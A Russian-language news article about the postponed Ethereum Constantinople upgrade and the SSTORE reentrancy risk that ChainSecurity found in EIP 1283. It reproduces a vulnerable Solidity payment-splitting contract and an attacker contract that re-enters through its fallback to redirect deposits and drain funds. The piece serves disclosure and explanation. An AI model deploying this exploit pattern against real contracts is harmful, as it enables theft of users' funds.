Хабрахабр

Обновление* Ethereum «Constantinople» откладывается из-за найденной в последний момент потенциальной уязвимости

image
*многие называют это событие «hard fork»-ом, но «Виталик» против.

Долгожданный релиз Constantinople должен был состояться 17 января, в 4AM UTC, однако, в очередной раз жестоко обломав несметную армию разработчиков countdown счетчиков этому не суждено будет сбыться.
За 30 часов до официального релиза, из-за найденной уязвимости, руководствуясь принципом «лучше перебдить, чем недобдить», апдейт был отложен на неопределенный срок.

Вообще одним из основных направлений апдейта было удешевление и ускорение выполнения особо тяжелых инструкций. Событием, поднявшим на уши все сообщество, стало опрометчивое предложение EIP 1283, удешевлеяющее выполнение инструкции SSTORE (sic!).

События 15 января развивались следующим образом (время в PST):

  • в 8 утра ChainSecurity публикует описание уязвимости;
  • тут же, Martin Holst Swende (главный безопасник в Ethereum Foundation) будит всех ключевых разработчиков, напоминая что до апдейта осталось каких-то 37 часов, а у нас тут вот;
  • до полудня происходят бурные дебаты в чатах и «голосом»;
  • к обеду принято решение отменять апдейт.

Ситуацию усуглубило то, что время разворачивать корабль выбрано крайне неудачно: уже почти половина нод успели обновиться, а всех остальных методично и настойчиво пинали на протяжении последних недель. В итоге теперь обновившимся нодам нужно будет еще раз обновиться (либо вверх либо вниз… мда). А кто не успел и все проспал — те молодцы, им ничего делать не нужно.

Многие, конечно, повозмущались что мол, как это цена инструкции может влиять на секурность, че вы там наговнокодили и все такое… Но на самом деле ничего необычного, все как у всех. Дальше все было предсказуемо — рынок отреагировал рухнувшим на 5% курсом эфира (хаха).

О технических деталях уязвимости лучше почитать в оригинале статьи от ChainSecurity, разобраться там не сложно.

Кому лень нырять в код — суть в том, что до апдейта инструкция SSTORE стоила так дорого, что не было никакой возможности изменить «хранилище» (state) из других контрактов, после апдейта Constantinople инструкция подешевела (бы), и можно менять «хранилище» много раз, тем самым меняя логику уязвимого контракта.

Код уявзимого контракта (с моими комментариями):

pragma solidity ^0.5.0; contract PaymentSharer // кладем сумму на депозит, который в последствии будут делить участники function deposit(uint id) public payable { deposits[id] += msg.value; } // задаем в какой пропорции делить депозит function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // непосредственно, дележ (в соответсвтии с установленной пропорцией split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; // пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже) a.transfer(depo * splits[id] / 100); // остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника) b.transfer(depo * (100 - splits[id]) / 100); }
}

Код атакующего контракта:

pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } // злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback метод, вызывается по умолчанию на transfer-е function () payable external { address x = victim; // собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); }
}

* в оригинале упущено, но где-то должна быть инициализация вида:

init(0, «адрес контракта Attacker», «адрес кошеля атакующего»)

перед вызовом метода attack.

Разумеется, есть много вопросов к самому контракту PaymentSharer, на котором нам демонстрируют уязвимость, он сам по себе криво слеплен, и именно в нем проблема,
а не в цене SSTORE, и вообще — в релизной сети не нашли ни одного живого примера, но решили перестраховаться, все ж цена ошибки может быть слишком высока (тут все помянули давно почивший DAO).

Вообще в Ethereum сообществе происходит масса интересных событий: активизировалась борьба серых кардиналов рынка (GPU vs ASIC), что само по себе заслуживает отдельной статьи, предстоящий релиз Bacon Chain набирает обороты, — год обещает быть богатым на события и интриги.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть